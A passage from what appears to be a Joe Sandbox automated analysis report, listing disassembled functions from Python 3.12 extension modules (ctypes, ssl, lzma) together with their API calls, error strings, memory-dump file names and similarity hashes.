Part of subcall function 00007FFE13382AD0: memset.VCRUNTIME140 ref: 00007FFE13382B77
Part of subcall function 00007FFE13382AD0: PyObject_CallOneArg.PYTHON312 ref: 00007FFE13382BD2

Strings

ctypes.call_function, xrefs: 00007FFE1338E656
O&O!, xrefs: 00007FFE1338E630

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_AuditCallObject_ParseSys_Tuplememset
String ID: O&O!$ctypes.call_function
API String ID: 886791329-313584727
Opcode ID: cb8efdaba8dc5f968af51c7c7a2063d5ffafa8096e3e11be3928d9995433ef93
Instruction ID: 88d71274170b2ea7eabfb4e3e8564132b11709f83dd445a8c6b1694426ae7553
Opcode Fuzzy Hash: cb8efdaba8dc5f968af51c7c7a2063d5ffafa8096e3e11be3928d9995433ef93
Instruction Fuzzy Hash: 1B01C072A18F47C9EB10CF12E4447AA67A1FB683A4F4001B6D95E2AA70CF3CE085C708

Function 00007FFE11EC65EC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11EC661A
SSL_CTX_get_verify_callback.LIBSSL-3 ref: 00007FFE11EC6635
SSL_CTX_set_verify.LIBSSL-3 ref: 00007FFE11EC6644

Strings

invalid value for verify_mode, xrefs: 00007FFE11EC6610

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_StringX_get_verify_callbackX_set_verify
String ID: invalid value for verify_mode
API String ID: 93861573-2668209411
Opcode ID: d7ac10d1087fdb55939129a130c4c4d91eca1ef0c94df19532bf97442535594a
Instruction ID: a3216436ae38c82bb9eb6133a1866ba1a6c3ed8ad305d268c7a02f95d8e86798
Opcode Fuzzy Hash: d7ac10d1087fdb55939129a130c4c4d91eca1ef0c94df19532bf97442535594a
Instruction Fuzzy Hash: F9F04465B08E0281EB549BABED9423B63A4FF887A4F944171CD1D477B4CE2EF5958700

Function 00007FFE1338F350 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338F38D

Strings

cannot be converted to pointer, xrefs: 00007FFE1338F383

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_String
String ID: cannot be converted to pointer
API String ID: 1450464846-3065012988
Opcode ID: be73e29b44f8099af46e3dc821ce3a30ed3462349b3bdf092f5b664e63a50073
Instruction ID: ac36066b8cff5f6c8c67e769a8d731b76914718298cae05d983c3eacbcb75b57
Opcode Fuzzy Hash: be73e29b44f8099af46e3dc821ce3a30ed3462349b3bdf092f5b664e63a50073
Instruction Fuzzy Hash: 0A011261E09F46C9EB108F17F48033C63A5AB69BE4F1445B5DA2E67774DE7CD4888308

Function 00007FFE11EC4A20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE11EC4A42
PyUnicode_DecodeUTF8.PYTHON312 ref: 00007FFE11EC4A5C
PyErr_SetString.PYTHON312 ref: 00007FFE11EC4A75

Strings

Not a memory BIO, xrefs: 00007FFE11EC4A6B

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DecodeErr_O_ctrlStringUnicode_
String ID: Not a memory BIO
API String ID: 3520065620-587638661
Opcode ID: b7e4011f530dbdd0a00be4e2e8cf985e73e6caa25f62caafb2b13bf70a9a96af
Instruction ID: eff652464d779f3e5d6f641568dd63f5ee96c3721be281b796a5f6f6af9d1acc
Opcode Fuzzy Hash: b7e4011f530dbdd0a00be4e2e8cf985e73e6caa25f62caafb2b13bf70a9a96af
Instruction Fuzzy Hash: 67F09062A29E06C2EB14CB92EC4077A6368FFC8BA0F805071DD0E46634DF2DF548C700

Function 00007FFE1338A2A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338A2CE
PyLong_AsVoidPtr.PYTHON312 ref: 00007FFE1338A2DB
PyErr_Occurred.PYTHON312 ref: 00007FFE1338A2E4

Strings

integer expected, xrefs: 00007FFE1338A2C4

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Long_OccurredStringVoid
String ID: integer expected
API String ID: 1621529885-2140524511
Opcode ID: 9a89683a08004ef3cac7330c8384c841a2885b8f6b3a984ae502e3d76aead2f9
Instruction ID: a759c0e908c0eb11fcf7c0742c19bc442e62a0ecb6812208bbf6655787ec35c3
Opcode Fuzzy Hash: 9a89683a08004ef3cac7330c8384c841a2885b8f6b3a984ae502e3d76aead2f9
Instruction Fuzzy Hash: 55F06D20E08F4789EE548B13E48413963A1AF69BE0F0881F4D92E27B24DE2CD0D58308

Function 00007FFE10251E7C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON312(?,?,00000006,00007FFE10250CFC), ref: 00007FFE10251E89
PyErr_Occurred.PYTHON312(?,?,00000006,00007FFE10250CFC), ref: 00007FFE10251E92
PyErr_SetString.PYTHON312(?,?,00000006,00007FFE10250CFC), ref: 00007FFE1025607B

Strings

Value too large for uint32_t type, xrefs: 00007FFE10256071

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for uint32_t type
API String ID: 944333170-1712686559
Opcode ID: beb8bb3f21a158d48b7ae8f5362e1cc07ff4e792364f621d751ee79adeb98e45
Instruction ID: 6a4666bb0cf8e0526af972a6090da09221d06bfe64811fb0f7c32b01850ddd6a
Opcode Fuzzy Hash: beb8bb3f21a158d48b7ae8f5362e1cc07ff4e792364f621d751ee79adeb98e45
Instruction Fuzzy Hash: 9AF05EA0B18E4285EF105B27E4851B82BA0ABC8BA4F1480B0DF0D86372EEBCE495C304

Function 00007FFE10256490 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON312 ref: 00007FFE1025649D
PyErr_Occurred.PYTHON312 ref: 00007FFE102564A6
PyErr_SetString.PYTHON312 ref: 00007FFE102564CE

Strings

Value too large for lzma_match_finder type, xrefs: 00007FFE102564C4

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for lzma_match_finder type
API String ID: 944333170-1161044407
Opcode ID: 9914e4eca75eb01d789d50a663b97705113751f3ba4ec09a09449ef1f848119f
Instruction ID: 4c371edc6936f3c2e415b2f3721bfd3933a6353d1ff20b7003e85daf64cb0585
Opcode Fuzzy Hash: 9914e4eca75eb01d789d50a663b97705113751f3ba4ec09a09449ef1f848119f
Instruction Fuzzy Hash: DFF0DAA5A18E4791EF244F17F5851B96B60AF88BA4F1840B4DB0D47776EEBCE494C304

Function 00007FFE102564E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON312 ref: 00007FFE102564F5
PyErr_Occurred.PYTHON312 ref: 00007FFE102564FE
PyErr_SetString.PYTHON312 ref: 00007FFE10256526

Strings

Value too large for lzma_mode type, xrefs: 00007FFE1025651C

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for lzma_mode type
API String ID: 944333170-1290617251
Opcode ID: c75928b8bcefc147294998117d43192376e487e7008253cef88493b04ebec458
Instruction ID: f3b94ab96c1e5145e60e316a4e5299cd8102b52d7f0bbffafe3697e20be4d29b
Opcode Fuzzy Hash: c75928b8bcefc147294998117d43192376e487e7008253cef88493b04ebec458
Instruction Fuzzy Hash: 67F054B1B18E4281EA204F13F4841B42B60AF88BA0F585074DB0D47776FEBCE494C304

Function 00007FFE11EC9D6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

SSL_is_init_finished.LIBSSL-3 ref: 00007FFE11EC9D8B
SSL_get_version.LIBSSL-3 ref: 00007FFE11EC9D99
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE11EC9DAC

Strings

unknown, xrefs: 00007FFE11EC9DA2

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: L_get_versionL_is_init_finishedstrcmp
String ID: unknown
API String ID: 1061301088-2904991687
Opcode ID: ffaaf28bd1fd66e80925d884df39b0a2dea999f8f5413a71e9712b78e77658b4
Instruction ID: a712a4532647d6e7ef10b96e0f889189fc7dd119959fb41c3662012d2bc742ee
Opcode Fuzzy Hash: ffaaf28bd1fd66e80925d884df39b0a2dea999f8f5413a71e9712b78e77658b4
Instruction Fuzzy Hash: D9F0AC11B09E0381FF189BE7AC9537A5358AF94BA5B8810B1CD0E46375EE2DF591C390

Function 00007FFE1338858E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FFE13388591
PyMem_Free.PYTHON312 ref: 00007FFE1338859A
PyErr_Format.PYTHON312 ref: 00007FFE133885B4

Strings

second item in _fields_ tuple (index %zd) must be a C type, xrefs: 00007FFE133885AA

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_FormatFreeMem_
String ID: second item in _fields_ tuple (index %zd) must be a C type
API String ID: 3237669406-2717732800
Opcode ID: 580b80041399c67f61b785d9fe847e14c5b7388972e2f27397369611ac787d2b
Instruction ID: 4541bd876a13a785b076e539d6e6e7de733ec69f961750b5aa49ae733a33578f
Opcode Fuzzy Hash: 580b80041399c67f61b785d9fe847e14c5b7388972e2f27397369611ac787d2b
Instruction Fuzzy Hash: 10E04C64E1CE43DAEA149B27A8540782331BF65BB5B1003B5D87F76AB48E3CE5459309

Function 00007FFE1024838C Relevance: 6.1, APIs: 4, Instructions: 102threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON312(?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102483C1

Part of subcall function 00007FFE10252574: PyBytes_FromStringAndSize.PYTHON312(?,?,?,00007FFE102483DB,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102525AB
Part of subcall function 00007FFE10252574: PyList_New.PYTHON312(?,?,?,00007FFE102483DB,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102525BE

PyEval_SaveThread.PYTHON312(?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102483E8
PyEval_RestoreThread.PYTHON312(?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE10248401
_Py_Dealloc.PYTHON312(?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102484C1

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Eval_Thread$Bytes_DeallocFromList_ModuleRestoreSaveSizeStateStringType_
String ID:
API String ID: 2935988267-0
Opcode ID: 00cfe97c0164a270be03c1d104ab45d7f8779960225675756503997d0fd06301
Instruction ID: e54a9862f82ebb12533660625ac9549221d552913ee88237c6a6ab75d9f47fec
Opcode Fuzzy Hash: 00cfe97c0164a270be03c1d104ab45d7f8779960225675756503997d0fd06301
Instruction Fuzzy Hash: ED419226A19E43C5EA649F2694401BD2BA4FFC5BB8F6401B5EB0D87766DFBCE445C300

Function 00007FFE1338BD94 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON312 ref: 00007FFE1338BDB0
memcpy.VCRUNTIME140 ref: 00007FFE1338BDC9
PyMem_Free.PYTHON312 ref: 00007FFE1338BDEC
_Py_Dealloc.PYTHON312 ref: 00007FFE1338BE33

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Mem_$DeallocFreeMallocmemcpy
String ID:
API String ID: 1346496523-0
Opcode ID: 64c0805be835768da4a8364ed7eceef80d52488b2fcb6bacbf47ea9b36cf6043
Instruction ID: a98e6d4a40a81406debff80c7086fba3827044ece2ca1a6491161bd4ce182557
Opcode Fuzzy Hash: 64c0805be835768da4a8364ed7eceef80d52488b2fcb6bacbf47ea9b36cf6043
Instruction Fuzzy Hash: D8212D72A09F42CAEB598F27E45023C22A0FF68FA4B1441B5DA5D67B74DF3CE4A18344

Function 00007FFE13381434 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

PyWeakref_NewProxy.PYTHON312 ref: 00007FFE1338148C
PyDict_SetItem.PYTHON312 ref: 00007FFE133814B2

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CallCurrentDict_ItemMakeObject_ProxyState_ThreadWeakref_
String ID:
API String ID: 203930245-0
Opcode ID: ceeff5730886b6b1b9b7739e81e3740a438d413b928d4926adf96176169d864e
Instruction ID: 136db9a8e4863ea85ae9edf5e40446894b36c98ee77d785dbcc33150cb4eaba3
Opcode Fuzzy Hash: ceeff5730886b6b1b9b7739e81e3740a438d413b928d4926adf96176169d864e
Instruction Fuzzy Hash: 72213D32D08A42CAE6148F17A84413D62A5BB65BA0F0841B0DA6E67BB5DF3CE4D18344

Function 00007FFE13384B70 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

PyDescr_NewGetSet.PYTHON312 ref: 00007FFE13384B9D
PyDict_SetItemString.PYTHON312 ref: 00007FFE13384BB4
_Py_Dealloc.PYTHON312 ref: 00007FFE1338971F
_Py_Dealloc.PYTHON312 ref: 00007FFE13389741

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Descr_Dict_ItemString
String ID:
API String ID: 975051370-0
Opcode ID: 68aeaa495b0b6e078ba9c51e2576618b44b3b81cd9ad06d2da628027004b489c
Instruction ID: 4173dbc77835446a67cfb48940d0af4b28f2b9c575ea20333ae50ab197902fa2
Opcode Fuzzy Hash: 68aeaa495b0b6e078ba9c51e2576618b44b3b81cd9ad06d2da628027004b489c
Instruction Fuzzy Hash: 9F112431D09E4289EB554F67A80432D23A0EB65BB4F1842F4DAAE76EA5DF3DD0D18304

Function 00007FFE11EC9438 Relevance: 6.0, APIs: 4, Instructions: 41threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312 ref: 00007FFE11EC9457
SSL_pending.LIBSSL-3 ref: 00007FFE11EC9464

Part of subcall function 00007FFE11EC4A84: WSAGetLastError.WS2_32 ref: 00007FFE11EC4AA8
Part of subcall function 00007FFE11EC4A84: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EC4AB1
Part of subcall function 00007FFE11EC4A84: SSL_get_error.LIBSSL-3 ref: 00007FFE11EC4AC1

PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EC9492
PyLong_FromLong.PYTHON312 ref: 00007FFE11EC94BE

Part of subcall function 00007FFE11EC3E8C: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC3EC1
Part of subcall function 00007FFE11EC3E8C: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC40CC

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Eval_Thread$ErrorFromL_get_errorL_pendingLastLongLong_R_clear_errorR_peek_last_errorRestoreSave_errno
String ID:
API String ID: 1598009871-0
Opcode ID: f25b7cbf17536b6c9c2654b299a385b819be790a76004a1cedf6d3ec7db09fbb
Instruction ID: 95a04aca30f65b76ccd190f62472a8591e57506a8c021b3b2b5b76f964a954bd
Opcode Fuzzy Hash: f25b7cbf17536b6c9c2654b299a385b819be790a76004a1cedf6d3ec7db09fbb
Instruction Fuzzy Hash: 0A117C36A08F82CAD710DF66EC4016EA724FB99BA4B544275EE4907B69DF3DE4818780

Function 00007FFE102476FC Relevance: 6.0, APIs: 4, Instructions: 40threadCOMMON

Download Yara Rule

APIs

PyThread_free_lock.PYTHON312 ref: 00007FFE10247749
PyMem_Free.PYTHON312 ref: 00007FFE10247776
_Py_Dealloc.PYTHON312 ref: 00007FFE1024777E

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: DeallocFreeMem_Thread_free_lock
String ID:
API String ID: 2783890233-0
Opcode ID: 01b42428c534275dc39dda495b1f2b4eedd2e9a3cd2baa85ec5288ad07ab9b92
Instruction ID: b1a6bece9f7d2da26f2d705fb7c0ca10ba2d79e4d6e6abb2e95be419968b6922
Opcode Fuzzy Hash: 01b42428c534275dc39dda495b1f2b4eedd2e9a3cd2baa85ec5288ad07ab9b92
Instruction Fuzzy Hash: 7B113C32A19D42C1EA598B23D5543B8AB60FFC4BB4F588070CB2E867B6CF7CA455C300

Function 00007FFE1338611C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE13386148
GetCurrentThreadId.KERNEL32 ref: 00007FFE13386156
GetCurrentProcessId.KERNEL32 ref: 00007FFE13386162
QueryPerformanceCounter.KERNEL32 ref: 00007FFE13386172

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
